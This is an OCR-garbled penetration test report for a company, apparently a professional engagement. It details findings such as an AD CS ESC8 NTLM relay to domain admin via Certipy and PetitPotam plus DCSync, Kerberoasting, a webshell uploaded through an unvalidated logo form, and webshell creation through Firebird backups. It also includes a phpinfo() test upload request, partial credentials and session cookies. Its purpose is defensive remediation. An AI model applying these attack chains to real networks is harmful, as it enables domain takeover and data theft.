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5. Summary

This document describes the results of the security review of the internal and public attack
surface provided by ACD Samfle. The security of the systems was evaluated by means of a

penetration test. The aim was to find possible gateways for attackers and to document software
problems that could be of advantage to an attacker. The security problems found were also to

be assesstaccording to risk.

5.1. Scope

The test was aimed at the following systems:

Public Attack Surface
1 254.55.223104/29
{ jobsacdsample.at
1 www.acdsampleat
1 182.57.2.194/29

Internal Attack Surface

192.168.84.0/24
192.168.85.0/24
192.168.86.0/24
192.168.87.0/24
192.168.90.0/24
192.168.93.0/24
192.168.96.0/24
192.168.100.0/24
192.168.111.0/24
192.168.112.0/24
192.168.115.0/24
192.168.116.0/24
192.168.117.0/24
192.168.118.0/24
192.168.120.0/24
192.168.157.0/24
192.168.169.0/24
192.168.186.0/24
192.168.250.0/24

= =4 -4 -4 _8_8_8_8a_-9_-29._20._-9a_-52_-2_2._-2_-5_2_-2

R B e . T I B I R B B B B |

192.168.251.0/24
192.168.252.0/24
192.168.253.0/24
192.168.82.0/23
192.168.27.0/24
192.168.28.0/24
192.168.29.0/24
192.168.30.0/24
192.168.31.0/24
192.168.32.0/24
192.168.33.0/24
192.168.35.0/24
192.168.38.0/24
192.168.39.0/24
192.168.40.0/24
192.168.41.0/24
192.168.42.0/24
192.168.44.0/24
192.168.45.0/24

Onssite attack surface location Weiz

1 WiFi
1 VolP

E N R R W I I I I I R B I B R R |

192.168.47.0/24
192.168.48.0/24
192.168.56.0/24
192.168.62.0/24
192.168.66.0/24
192.168.67.0/24
192.168.69.0/24
192.168.70.0/24
192.168.76.0/24
192.168.77.0/24
10.10.1.0/24
192.168.0.0/24
192.168.1.0/24
192.168.2.0/24
192.168.3.0/24
192.168.4.0/24
192.168.5.0/24
192.168.6.0/24
192.168.7.0/24
192.168.8.0/24

=8 =8 =8 =8 -8 8 8 8 8 _9_9_9_49

192.168.9.0/24

192.168.10.0/24
192.168.11.0/24
192.168.12.0/24
192.168.13.0/24
192.168.14.0/24
192.168.15.0/24
192.168.17.0/24
192.168.18.0/24
192.168.21.0/24
192.168.24.0/24
192.168.25.0/24

192.168.26.0/24
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5.2. Project goals

In order to evaluate the security status of the service in the best possible way, the search for
errors was as broad as possible. This means that several wagsisihg damage to the system
were tested. The possibilities found were exploited to gain a better insight for the risk
assessment. The risk of each security issue was determined after the test based on the probability
and impact factors.

5.3. Assumptions

The assumption for the public attack surface was an attacker attempting to penetrate the
system using automated tools.

For the internal attack surface, it was assumed that an attacker already had access to a
domain account (standard user).

In the course of the osite check, it was assumed that an attacker was working in the
building as maintenance personnel (e.g. checking smoke detectors, flower caretakers, etc.)
or had access to a meeting room.

5.4. Schedule
Testphase Reconnaissance Pentest Report
D
Startdate 202301-02 202301-04 202301-30
Enddate 202301-03 202301-30 202302-05
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5.5. Summary ofthe test procedure

During the test process, the predefined scope was checked both manually and automatically for
security vulnerabilities. Vulnerabilities were identified, documented and summarized in detail in
this report.

The WFiwas checked on site. Furthermore, it was checked which systems are accessible when
accessing a network socket (VolP telephone).

5.6. Summary ofthe test results (overall)

Rating  [NNGIENEN  Low Medium High |GG

5 7 3 3 2

10%
25%

L% /

15%

Several security vulnerabilities were identified during the reviéhese include several critical
problems, such as possibilities for a local user to escalate to the domain administrator.
Furthermore, several possibilities were found to take over internal computers. The internal
intranet also had vulnerabilities that cabbllow an attacker to gain administrator access to the
system via a web shell.

Several devices such as printers, switches, Xport and IP cameras were also found with default
passwords, including many with the ability to upgrade firmware via custom files, allowing an
attacker to use this system for further exploitation on the netwodl. other findings can be

found in detail in this report.
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6. Procedure
This chapter deals with the procedure during the test.

6.1. Analyss

In the analysis phase, the defined targets were examined in more detail and their purpose
evaluated based on the information obtained during the analysis phase. In the exploitation
phase, the vulnerabilities were then exploited using this information.

6.2. RiK rating

The risk of each security issue is assessed based on several factors. The overall risk for each
vulnerability is calculated using the following formula:

B M ASR S ELE L EE

Risk
High Medium High -
Impact Medium Low Medium High
Low _ Low Medium
Low Medium Low
Probability

The risk assessment is carried outsaveral steps:

1. Name the risk

The testers describe methods and accesses that can damage the sy$teraconomic
and technical effects are discussed.

2. Evaluate the risk thatte vulnerability will be exploited
This probability is basedhcseverafactors:

a. Characteristics oft he attacker
9 Skill
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9 Motive
1 Possibilities
1 Resources
b. Properties of the vulnerability
1 How hard is it to find the vulnerability?
1 How difficult is it to exploit the vulnerabili®y
1 Ist he vulnerability (publicly) knoven
1 Howdifficult is it to detect that the vulnerability has been exploited (IDS)

3. Assessing the impact
There are different types of possikl@pacts

a. Technicalmpact

1 Loss of theft of ensitive data

1 Destroyed data

1 Service or system outage

1 Can data theft beletected?
b. Economic impact

9 Financial loss

1 Image damage

1 Violations oft he law

4. Assessment of the risks based on the values for probability and impact
5. Adjusting the results ontie basis of empirical values

6. Making recommendations on how to deal with theespective risk
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7. Public Attack Surface
Rating  [INGEN  Low Medium Hgh  [ICHTCAINN
3

2 0 0 0

25
1.5

0.5

0

Notiz Niedrig Mittel Hoch Kritisch

In this section, all results of the public attack surface are described in detail.

The public attack surface was scanned for vulnerabilities @itgmated tools and manual
tests, but no critical vulnerabilities were found.

10



7.1. PublicWP-JSON API (wwacdsampleat)
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Probability
Low

Impact
Low

Risk
Low

7.1.1. Analysis

When analyzing the website and the associated WordPress configuration, we found that the

WPRJSON API is accessible to unauthenticated users. This

can be used to extract some

information about the website that an attacker can use for further attacks (inédion

disclosure).

For example, an attacker can obtain information about registered users, plugins and posts.
However, direct interaction with the plugins' APIs is not possible without authentication.

BET /wp-json/ HTTP/2
Host: e
Cookie: en_tags={"summer":{"exp":1683099199464,"wt":100}}; _gcl_au=1.1.309950319.1683012800;
_ga_H88JPMPD1F=(G51.1.1683012800.1.0.1683012800.0.0.09; _ga=GAl.2.420032213.1683012800; _gid=
GA1.2.1977344603.1683012800; _dc_gtm_UA-391147-1=1; _hjSessionUser_595894=
eyJpZCI6IMQwY2YyNWELLTMINZGtNTKYNS1i0TNhLTMS ZDAANTNRM2YSMy I s ImNy ZWFOZWQ10] E200MwMT I4MDAZMzgs
ImV4aXN@awsnIjpmYWxzZX0=; _hjFirstSeen=1; _hjIncludedInSa dionSample_595894=0;

_hjSession_595894=
eyIpZCIBIjdmYmZiMmNILTcRYZYtNDIZZi05ZTY1LWFmM2ZMy ZGRjNTdkMiIs ImNyZWFOZWQi0jE20DMWMTI4MDAZNDMS
ImlU2FtcGx1lIjpmYWxzZX@=; _hjAbsoluteSessionInProgress=1; PHPSESSID=
pne@hgb@a3hedmrdanBri7ingea; Google%2@Analytics=true; Marketing=true; GdprAccepted=
f7e9565681d1c6bcfa57e8021b0646e0

Content-Length: @

Sec-Ch-Ua: “Not:A-Brand";v="99", “Chromium";v="112"

Accept: application/json, text/plain, =/

Content-Type: application/json;charset=UTF-8

Sec-Ch-Ua-Mobile: 7@

User-Agent: Mozilla/5.@ (Windows NT 1@.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/112.0.5615.138 Safari/537.36

Sec-Ch-Ua-Platform: “"mac0s"

Origin: i 'w me mimsiin Un -

Sec-Fetch-5ite: same-origin

Sec-Fetch-Mode: cors

Sec-Fetch-Dest: empty

Referer: = | L _BE R N

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

. GET /wp-json/wp/v2/users| HTTP/2

|

]
)

Host: s  smi wismingt -—

Cookie: en_tags={"summer":{"exp":1683099199464,"wt":100}}; _gcl_au=1.1.309950319.1683012800;
_ga_H88JPMPD1F=(GS51.1.1683012800.1.0.1683012800.0.0.0; _ga=GA1.2.420032213.1683012800; _gid=

GA1.2.1977344603.1683012800; _dc_gtm_UA-391147-1=1; _hjSessionUser_595894=

eyJpZCIGImQwY2YYNWELILTMINZgtNTKYNS1i0TNhLTM5ZDA4ANTNhM2Y5MyIs ImNyZWFOZWQi0j E20DMWMTI4MDA2MZgs

ImV4aXN@aWsSnIjpmYWxzZX@=; _hjFirstSeen=1; _hjIncludedInSessionSample_595894=90;
_hjSession_595894=

eyJpZCIGIjdmYmZiMmNILTCcOYZYtNDI2Zi0SZTY1LWFmMM2MyZGRjNTAkMiIsImNyZWFOZWQi0jE20DMWMTI4MDAZNDMS

ImluU2FtcGx1IjpmYWxzZX0=; _hjAbsoluteSessionInProgress=1; PHPSESSID=
pn@hgbPa3hedmrdan8riZingea; Google%20Analytics=true; Marketing=true; GdprAccepted=
f7e¢9565681d1c6bcfa57e¢8021b0646e0

Content-Length: @

Sec-Ch-Ua: "Not:A-Brand";v="99", "Chromium";v="112"

i Accept: application/json, text/plain, */x*

Content-Type: application/json;charset=UTF-8
Sec-Ch-Ua-Mobile: 70

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)

Chrome/112.0.5615.138 Safari/537.36

18 Cf-Cache-5tatus:
19 Report=To:
{"endpoints": [{"url":"https:\/\/a.nel.clo
VIvjhPuugD7CWHCWOXT tdL2iTws30%30"}], "grou
20 Nel: {"success_fraction":@,"report_to":"c
21 Server: cloudflare
22 Cf-Ray: 7c@ea3a53cf13258-VIE
23
24 {
"name":" ]

DYNAMIC

“home" :" =

"gmt_offset":2,

"timezone_string":"Europe\/Vienna",

"namespaces": [
"simple-page-ordering\/v1",
“wpmly/v1®,
“ninja-forms-submissions",
“ninja-forms-views",
“redirection\/v1",
"towa-gdpr",
“yoast\/vl",
wpmlh/tmh /vl
"wpmly/ate\/v1l",
“wpmlh/sth/v1l",
"wp-smushy/v1",
“mdb-api\/v1",
"atasiv/installery/vl™.

20 Cf-Cache-Status:
21 Report-To:
{"endpoints": [{"url":"https:\/\/a.
QvtJIBCPShXWSigguyvvg1Xwis3D%3D"}],
22 Nel: {"success_fraction":0,"report
23 Server: cloudflare
24 Cf-Ray: 7c@ea57898643258-VIE
25
26 [
{

DYNAMIC

"id":179,

“name":"andrea. —mams |,
b T1 2 Bt g ®
“description"
"Uink" : " WEEw .
"slug":"andrea-
"meta": [

1,

"yoast_head":

11
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Identified Usess:
andreabeispieluser
anjasampleuser
bettinatestuser
acdsampleonline
marlenesupertest
karl sample
joe.uberuser
acdcontentcs
sampleagenturadmin

=

=4 =4 4 -4 8 5 a2 -9

The information about all registered users can be used for brute force attacks or in spear
phishing campaigns, for example.

7.1.2. Recommendation

We recommend making the API accessible only to authenticated users, especially the /users
endpoint, to prevent attackers from easily obtaining information such as usernames.

12
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7.2. Information of databasethrough stacktracejobs.acdsample.at

Probability Impact Rik
Low Low Low

7.2.1. Analysis

During the website analysis, a stack trace was used to determine which database is used by
the website. With this knowledge, an attacker can restrict the syntax of the database used in
order to carry out SQL injection attacks on the database.

cer oW we W N R © e s S . S 1 MTTP/1.1 200 OX
O [ A T | I8 1L L TR TR e it B T T . _ R _ e 2 Server: myin

L iams ) Ty x
terretreidets TormsIt05 83 174date-tonabs 18123 HTTP/1.1 ) Date: Wed, 17 May 2023 05:17:34 GNT

Most: Jufa.gobdS.gms.info 4 Content-Type: text/Atal; charsetsUTr-8
Sec-Ch-Ua: "Chromium™;ve"113", “Not-A.8rand™;ve"24" 5 Content-Length: 329
Accept: o/e & Connection: close
Sec-Ch-Ua-Mobile: 70 7 X-Powered-By: PWP/7.2.15
User-Agent: Mozillass.0 (Windows NT 10.0; Winb4; x64) AppleWedKit/$37.36 (KHTML, like Gecko) § Set-Cookie: @i _Emmumgniii: expiressWed, 17-May-2023 07:17:34 (MT: Max-Age=7200;
Chrome/113.0.5672.9) Safari/337.36 PITA=SESSION_PATH; domaine] ™ | i i secure
Sec-Ch-Ua-Platform: “sac0s” % Expires: Thu, 19 Nov 1981 08:52:00 GNT
Orlgini irvvps. s jovome e v, v 10 Couhe-Control: no=sture, mo-coihe, wuii-rovalidete
Sec-fetch-Site: cross-site 11 Prages: no-cache
Sec-Fetch-Mode: cors 12 Vary: Accept-Encoding
Sec-Fetch-Dest: empty 13 Access~Control-Allow-Origin: =
Referer: Wugy EN- o SwD m 14
Accept-Eacoding: 9zip, deflate 15 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server
Accept-Langusge: €n-GB,en-US;qed.9,e0;q=0.8 version for the right syntax to use mear ) as weekdays_valid
Connection: close 16 FRON * mpiil_wriuc by roive ¢
7% at Uine 5 in /var/ /gl e/ 399/ ADMumprsempesues . L35 . php on Line 378 in class
B i

7.2.2. Recommendation

We recommend limiting the information provided to the client to the bare essentials.

13
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7.3. Outdated PHRVersion {obs.acdsample.at

Probability Impact Risk
Low Low Low

7.3.1. Analyss
When analyzing the website, it was determined that it runs on a rather outdated PHP version
(7.2.15). There are already several known security vulnerabilities from and after this version.
CRITICAL i PHP <7.133/7.2x<7.224/73.x<7.3.11 Remote Code Execution Vulnerability.
CRITICAL . PHP 7.2.x < 7.2.16 Multiple vulnerabilities.
CRITICAL A PHP 7.2.x < 7.2.17 Multiple vulnerabilities.
CRITICAL A PHP 7.2.x < 7.2.18 Heap-based Buffer Overflow Vulnerability.
CRITICAL A PHP 7.2.x < 7.2.19 Multiple Vulnerabilities.
CRITICAL A PHP 7.2.x < 7.2.28 / PHP 7.3.x < 7.3.15 / 7.4.x < 7.4.3 Multiple Vulnerabilities
PHP < 7.3.24 Multiple Vulnerabilities
PHP 7.2.x < 7.2.30 Multiple Vulnerabilities
PHP 7.2.x / 7.3.x < 7.3.22 Memory Leak Vulnerability
PHP 7.2.x < 7.2.21 Multiple Vulnerabilities.

PHP 7.2 <7.2.34/7.3.x<7.3.23 / 7.4.x < 7.4.11 Mulitiple Vulnerabilities

PHP < 7.3.28 Email Header Injection

PHP 7.2.x<7.231/7.3.x=73.18, 7.4.x < 7.4.6 Denial of Service (Do5)

PHP 7.2.x < 7.2.33 Use-After-Free Vulnerability

None of these exploits could be applied directly to the website, but it is recommended to
update to a current PHP version.

7.3.2. Recommendation

We recommend updating to a newer PHP version.
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7.4. NoHSTSwww.acdsample.at& jobs.acdsample.gt

Probability Impact Risk
Low Low Low

7.4.1. Analysis

The HTTPS server does not enforce HTTP Strict Transport Security (HSTS). HSTS is an optional
response header that can be configured on the server to instruct the browser to communicate
only over HTTPS.

The absence of HSTS enables downgrade attacks, SSL strippiimgtheamiddle attacks and
weakens protection against cookie hijacking.

7.4.2. Recommendation

We recommend setting the appropriate header.

7.5. Several test pages publi{pobs.acdsample.at

Probability Impact Risk
Note Note

7.5.1. Analyss

When analyzing the website, we discovered "test.php” and "test2.php”, with the latter
redirecting to "engarde.php”. Although these test pages do not pose a direct security risk, they
should not be publicly accessible unless absolutely necessary.

2023-05-16 13:29:28

7.5.2. Recommendation

We recommendot makingthese pages publicly accessible.

15
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7.6. XSS vidbranch/ Niederlassung (jobs.acdsample.gt

Wabhrscheinlichkeit Auswirkung Risiko
Notiz Notiz

7.6.1. Analyss

When analyzing the website, it was determined that the URL path is taken as the name of the
branch. If this input is not found, the server responds with the corresponding name of the
branch office. The response is not "escaped"” correctly, which enablessastte scripting
(XSS) attack. However, it should be noted that the attack options in this case are very limited.

Unrecognised Niederlassung

This also applies to the URL parametféigterlasung in the request path "/getpostion”. The
JavaScript to be inserted is not restricted in this parameter. In addition, external requests are
not restricted by headers, which basically gives an attacker the opportunity to extract data
through an XSS attack.ek too, the possibilities for exploitation in a real scenario are
extremely limited.

>/ [Pkl grrpin

Unrecognized Niederlassung

HTTP REQUEST
GET /
¥ (14) header

host
x-amzn-trace-id
sec-ch-ua
sec-ch-ua-mobile
user-agent
sec-ch-ua-platform

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36

accept

origin
sec-fetch-site
sec-fetch-mode
sec-fetch-dest
referer
accept-encoding
accept-language

16
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7.6.2. Recommendation

We recommend that you "encode" tlresponsecorrectly.

7.7. NiederlassungSampledorf bei Badem 182.57.2.194/29
7.7.1. Analysis

The public IP range of the "Sampledorf bei Baden" branch offers no attack surface; no ports
that are open / publicly accessible could be identified.

17
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8. Internal attack surface
Rating  [INGIENN Low Medium High  [CHcaN

3 4 3 3 2

Notiz Niedrig Mittel Hoch Kritisch

This section describes all the results of the internal attack surface in detail.

The internal attack surface was scanned for vulnerabilities using automated tools and manual
tests. We were able to gain domain administration rights in several ways, and other internal
attack vectors were also discovered.

We were unable to escalate administration rights locally on the user assigned to us and the newer
terminal server. However, targets were identified during the test where local administration
rights were available. In addition, neither escalation path te ttomain administrator required
administration rights.

18
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8.1. Domain Administratorthrough ADCS ESC8 (NTIRdlayAttack)

Probability Impact Risk
High High

8.1.1. Analyss

During the analysis of the Active Directory and the certificate issuance server, it was discovered
that ACDSAMPLEOOQOT has activated a wehsed certificate request (enrollment). This in turn
can be exploited using an NTML relay attack to escalate to hagmain rights.

Explanation of the explait

AD CS supports various HIG@3ed logon methods via additional AD CS server roles that
administrators can install. These HTdd@&ed certificate request interfaces are generally
vulnerable to NTLM relay attacks. Using NTLM relay, an attacker can imperaogatédound
NTLMauthenticating AD account on a compromised machine. While impersonating the victim
account, an attacker could access these web interfaces and request a client authentication
certificate based on the user or machine certificate templates.

To summarize, if an environment has AD CS installed, along with a vulnerable web enrollment
endpoint and at least one published certificate template that allows domain computer logon
and client authentication (such as the default machine template), anypoden running the

spooler service can be compromised by an attackeulrce:

1 Documentation of the security vulnerability (NTLM Relay to AD CS HTTP Endpoints
ESC8https://specterops.io/wpcontent/uploads/sites/3/2022/06/Certified Pre
Owned.pdf

1 Resolution according tdicrosoft: https://support.microsoft.com/en
gb/topic/kb5005413mitigating-ntlm-relay-attackson-active-directory-certificate-
servicesad-cs3612b77340434aa%3b23d-b87910cd3429

1 Tools used for finding

- https://github.com/ly4k/Certipy
- https://github.com/BloodHoundAD/BloodHound

1 Tools used for exploit
9 https://github.com/ly4k/Certipy
9 https://github.com/topotam/PetitPotam

This PoC tool uses
A https://learn.microsoft.com/en
us/openspecs/windows_protocols/mrefsr/08796ba801c84872
9221-1000ec2eff31
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A https://msrc.microsoft.com/updatequide/vulnerability/ CVE2021-

36942
A https://learn.microsoft.com/en
us/openspecs/windows protocols/msfsr/08796ba801c84872

9221-1000ec2eff31
1 https://github.com/fortra/impacket

Exeaition of the exploit

1. Active Directory Enumeratiowith Bloodhound:
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2. ldentification of the vulnerable certificate server

Enrolf

AUTHENTICATED ‘SERS@' LOCAL s =

=-RO0OT@J™" LOCAL

Memberos

MemberOf i' 'D

B sy’ @™ 8" LOCAL
IANEN-BENUTZER@ = =1 LOCAL

Query->MATCH (n:GPO) WHERE n.type = 'Enrollment Service' and nEWeliment” = 'Enabled' RETURN n

3. Executiorof the NTML Relay Attack

Picturel: The attack host starts SMB and waits for NTML authentications, which it then sends to the certificate issuer
(pretending to be the user/machine that authenticated with it)
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Picture 2: Execution of the PoC tool PetitPotam, which exploits known Microsoft issues to “force" the authentication of one
domain computer against another

4. After receiving the certificate issued for the domain controller machine account, request
a TGT ticket using this certificate. (and thus obtain the NT hash)

5. Sart a Dsync attack with the received domain controller machine account NT hash and
retrieve all NT hashes of all domain users.
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Explanation of theDsyncattack with impacketsecretsdump

This attack exploits a vulnerability in AD replication to synchronize data.

Active Directory uses replication to synchronize information across different domain controllers.
Normally, replication occurs in both directions to ensure that data is consistent across all domain
controllers. The Dsync attack exploits thisdbectional replication. Essentially, the attacker
creates a malicious domain that is connected to another domain controller in AD. This malicious
domain controller pretends to be a legitimate domain controller and initiates a-voag
replication with the goal of olatining data from the victim domain controller. During replication,
the malicious domain controller transfers the data from the "victim domain controller”, including
the stored credentials of the users. The impaegetretsdump tool is used to extract this
information from the replicated data and make it available to the attacker.

6. Log in to the domain controller via WinRm with the NT hash received from the domain
administrator.

parrot@parrot

sevi

Narning: Remote path completions is disabled due to ruby limitation: quoting detection pr
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8.1.2. Recommendation

This discovery has already been discussed with the customer directly after the discovery and we
recommend following Microsoft's mitigation guide as far as possible.
(https://support.microsoft.com/engb/topic/kb5005413mitigating-ntim-relay-attackson-
activedirectory-certificate-servicesad-cs3612b77340434aa%b23db87910cd3429
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8.2. Domain Administratorthrough stored ¢eartext password

Probability Impact Risk
High High

During the analysis of the Active Directory, we found a saved "ImageUnattend.xml" on one of
the domain shares which had saved the password of the domain administrator in plain text.

8.2.1. Analyss

Hnding
X Sochen Zuich Weter || ) Optionen = | 2 (nermnstommungen

+ Nermer [Ty e FOMT + oages 1 Wedous WP+ WPt igen  Umed ] v ¢

" maprUmmend wmi

o MICrosoft- Windows - Unattended Join (oo ior s htecture $ Commmon
11p:/ /schemas microsoft.com/ WHIConfky / 2002/ State® w ek .

o/ WMIConTig/ 2

This pah is accesible for all domain users

=TFreigeben ANSICNT

» Netzwerk > ATIT 90 walocal > REMNST > Images » Windows 10Pro > Win 10 Pro x64 Apps » Unattend
) Name a Anderungsdatum Typ GroBe
! . = ImageUnattend.xml 05.05.2022 15:04 XML-Dokument 4KB

- Eigenschaften von REMINST (\#™" = B9t fM.lo... X

Aligemein Netzwerk Sicherhet Vorgangerversionen Anpassen
Objektname:  \\ATH = s g() fom Jocal\REMINST

Gruppen- oder Benutzemamen:

ERSTELLER-BESITZER

82 SYSTEM

Administratoren (AT \Administratoren)
2 Benutzer (AT 090\ Benutzer)
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Access to the domain controller with the password found:
18 41'@;)6,'1! rot

varning: Remote path completions is disabled due to ruby limitation: quoting det
action proc() function is unimplemented on this machine

8.2.2. Recommendation

We recommend defining a user who only has the minimum rights required to perform the
domain join function instead of using a domain administrator account. We also recommend the
use of automated deployment tools such as the Microsoft Deployment Toolkit (BID/Windows
Deployment Services (WDS).
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8.3. Kerberoastable Domain Admin Hash

Probability Impact Risk
Medium High High

8.3.1. Analyss

When analyzing the Active Directory, we found that the user "Administrator@ACDS.local" is
marked as "Kerberoastable". This vulnerability allows an attacker to retrieve the password

hash of this user by requesting a service ticket. The hash can then Bedracally using

tools. In your case, however, cracking the password was not successful. (Based on the
password found later, it is also clear why).

This vulnerability occurs if the "ServicePrincipalName" attribute of the AD user account is set
and the "Account is sensitive and cannot be forwarded" flag is not activated. Although the
password was not cracked in your case, we still rate this findirggasus, as a successful
attack on the hash would grant access to domain administrative rights.

8.3.2. Recommendation

If possible, we recommend setting the flag "Account is sensitive and cannot be forwarded" to the
user.
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8.4. intranet.acds.eutakeoverby Webshell

Probability Impact Risk
High Medium High

8.4.1. Analyss

When analyzing the intranet.acds.eu website, it was possible to create contracts without
authentication. This contract creation form also contained a logo upload for the contract. This
logo upload had no validation for the uploaded image, so PHP filed beuliploaded. This
allowed us to upload a webshell that we could use to run a full reverse shell. The web
application was run as a system so that we could set up an administrator account for the
system and take full control of it.

Fornt
« @ C 8 @ u & e X = e

-3) Import bookmarks.. [ Parrot OS [ Hack The Box [3 OSINT Services (D Vuln DB (3 Privacy and Security (3 Learning Resources

S B |
Vertrag anlegen
Logo Kundendaten Konditionen
‘ Browse... | Nof...ted.
Vertragsart Giiltigab Bearbeitet von
Select v Select
Giiltig in den pew= Giiltig bis Verantwortliche(r)
Select
Vertragsdokument
Dokument wahlen
Save
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Malicious Request (Tegtith phpinfo()):

POST /wp-admin/admin-ajax.phpscript/pdocrud.php HTTP/1.1

Host: intranet. ku

Cookie: PHPSESSID=46kkgnr3blgp8rk5102utpf7q@; pvc_visits[@]=1683879791b43; G_ENABLED_IDPS=google
Content-Length: 2085

Sec-Ch-Ua: "Not:A-Brand";v="99", “Chromium";v="112"

Accept: text/html, #*/%; g=0.01

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryyc7Aj4J6I7BWYWyT
X-Requested-With: XMLHttpReguest

Sec-Ch-Ua-Mobile: ?@

User-Agent: Mozilla/5.® (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.8.5615.138 Safari/537.36
Sec-Ch-Ua-Platform: "macOs"

Origin: https://intranet. eu

Sec-Fetch-5ite: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty

Referer: https://intranet. ='m eu/agreementor/create/

Accept-Encoding: gzip, deflate

Accept-Language: en-GB,en-US;q=0.9,en;q=0.8

Connection: close

----- ~WebKitFormBoundaryyc7Aj4J6I7BWYWyT

Content-Disposition: form-data; name="YWdybV9jb25@cmFjdHZlcnNpb24j1GxvZ29AM2RzZnNkZi0q0TkzNDMyNA=="; filename="test.php"

Content-Type: text/php

<?php phpinfo(); 7>

————— ~WebKitFormBoundaryyc7Aj4J617BWYWyT

Content-Disposition: form-data; name="YWdybV9jb25@cmFjdHZ1cnNpb24jIGN1c3RvbWVYZGFAYUAZZHNmC2RmMKi050TMOMZI0"

pentest

----- ~WebKitFormBoundaryyc7Aj4J6I7BWYWyT

Content-Disposition: form-data; name="YWdybV9jb258cmFjdHZ1lcnNpb24jIGNvbmRpdGlvbnNAM2RzZNNKZi0q0TkzNDMyNA==""

pentest

Queryofthelogo

System Windows NT ATFi Smsss B015 10.0 build 14393 (Windows Server 2016) AMD64

Build Date Aug 30 2017 18:30:43

Compiler MSVC14 (Visual C++ 2015)

Architecture xB4

Configure Command cscript /nclogo configure. js “--enable-snapshot-build" "--enable-debug-pack” "--with-pdo-oci=c:\php-snap-
builddeps_aux\oraclexé4\instantclient_12_1\sdk,shared” "--with-oci8-12c=c:\php-snap-
buildhdeps_aux\oraclexé4\instantclient_12_1\sdk,shared” "--enable-object-out-dir=../obj" "--enable-com-
dotnet=shared" "--with-mcrypt=static” "--without-analyzer® "--with-pgo"

Server API Apache 2.0 Handler

Virtual Directory Support enabled

Configuration File (php.ini) Path C:AWindows

Loaded Configuration File Clwampé4\bin\apache\apache2.4.27\bin\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20160303

PHP Extension 20160303

Zend Extension 320160303

Zend Extension Build API320160303,TS,VC14

PHP Extension Build API20160303,TS,VC14

Debug Build no

Thread Safety enabled

Zend Signal Handling disabled

Zend Memory Manager enabled

Zend Multibyte Support provided by mbstring

IPv6 Support enabled

DTrace Support disabled

Registered PHP Streams php, file, glob, data, http, ftp, zip, compress.zlib, compress.bzip2, https, ftps, phar

Registered Stream Socket Transports tcp, udp, ssl, ssva, tis, tisv1.0, tisv1.1, tisv1.2

Registered Stream Filters convert.iconv.”, merypt.*, mdecrypt.®, string.rot13, string.toupper, string.tolower, string.strip_tags, convert.”,

consumed, dechunk, zlib.*, bzip2.*
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Uploadof aWebshell:

hitps://intrane{ =i

| Execute

nt-autorit@tisystem

BENUTZERINFORMATIONEN

Benutzername sID

nt-autoritét\system S-1-5-18

GRUFFENINFORMATIONEN

Gruppenname Typ SID Attribute

VORDEFINIERT\Administratoren Alias §-1-5-32-544 Standardm@fig aktiviert, Aktivierte Gruppe, Gruppenbesitzer
Jeder Bekannte Gruppe S-1-1-0 Verbindliche Gruppe, Standardm@ig aktiviert, Aktivierte Gruppe
NT=-AUTORITET\Authentifizierte Benutzer Bekannte Gruppe S-1-5-11 Verbindliche Gruppe, Standardm@@ig aktiviert, Aktivierte Gruppe
Verbindliche Beschriftung\Systemverbindlichkeitsstufe Bezeichnung S=1=16=16384

Adding the newadministrator:

It is then possible to log on to the system via the remote desktop. Web shells created on the
system were removed again immediately. The user is still active for the rest of the pentest in
order to keep possible escalation options open.

The takeover enabled us to gain full access to the intranet datalf@safiguration files from
WordPress)

= My settings - You can get this info trom your web host **
/** The name of the database for WordPress */
define( 'DB_NAME', ‘intranet’);

/** MySQL database username */
define( 'DB_USER®, ‘intranet');

/*= MySQL database password */
define("DB_PASSWORD', "ERS™ g™ wr™k');

/** MySQL hostname */
define( 'DB_HOST®, ‘localhost’);

/** Database Charset to use in creating database tables. */
define( 'DB_CHARSET', ‘utf8mbd');

/*= The Database Collate type. Don't change this if in doubt. */
define("DB_COLLATE', "");

define('WP_MEMORY_LIMIT', '200M');

define( "AUTH_KEY", X Ml 0 RlE D (O e N ol RS- a) WRDY, ');
define('SECURE_AUTH_KEY*, "W = . S i w (v]');
define('LOGGED_IN_KEY', ‘4 o e . WL V(');
define( "NONCE_KEY', ‘b8 =" ™M 3 = Bv$!');
define( "AUTH_SALT", ‘>4 = =" B " B 5J%6");
define('SECURE_AUTH_SALT', 'HI""i L L W R "B INY*);
define('LOGGED_IN_SALT', 'GL& | T B % BT 31U );
define('NONCE_SALT", i R, TR R o) e T - B B1) °);

30



BearingPoint.

Full access to the database

8.4.2. Recommendation

We recommend implementing a proper validation of the logo upload.
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8.5. lISuser takeover of domin computersvia Firebird

Probability Impact Risk
High Medium High

8.5.1. Analyss

When analyzing the network, several systems were found on which the Firebird SQL and IIS
services are accessible.

In addition, we found that most Firebird SQL logins were secured with either the default
password "masterkey" or the password "y". Since Firebird SQL runs as a system user on
Windows machines by default, a security vulnerability (“feature™) in the softwaakes it
possible to write backups to arbitrary file paths. Over the years, there have also been several
code execution vulnerabilities in the Firebird software, but we only found patched versions on
the network.

However, with the mentioned filewrite it is possible to create a backup file of the database
that contains a valid C# webshell. This file can be saved in the IIS directory as an ASPX file and
thus enables the IIS user to take over the system.

Among other things, this user has the SelmpersonatePrivilege, which can lead to
administrative rights on unpatched systems due to known security vulnerabilities such as
"JuicyPotato" (this could not be successfully exploited in the network either). We only
managed to take over the IIS service user on several systems, which at least allowed limited
access to the systems.

Executionof the described exploit

Identification

Creating the webshell with Firebird
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Call and upgrade to reverse shell via Powershell:
— @ ¢ O6& 192.168.1.40 o

-3) Import bookmarks... [3J Parrot OS [JHack The Box [ OSINT Services (3 Vuln DB (3 Privacy and Security [J Lear

iis apppoolidefaultapppool
- - . Sy e . whoami excute
2 31237 €-eE+"pjYa?-~"ACZ}yXxEOYC:\inetpub\wwwroutisuen.aspx; € pruxrs

192.168.1.40 w oo
-3) Import bookmarks.. (3 Parrot OS [DHack The Box [0 OSINT Services (O Vuln DB (3 Privacy and Security (D Learning R

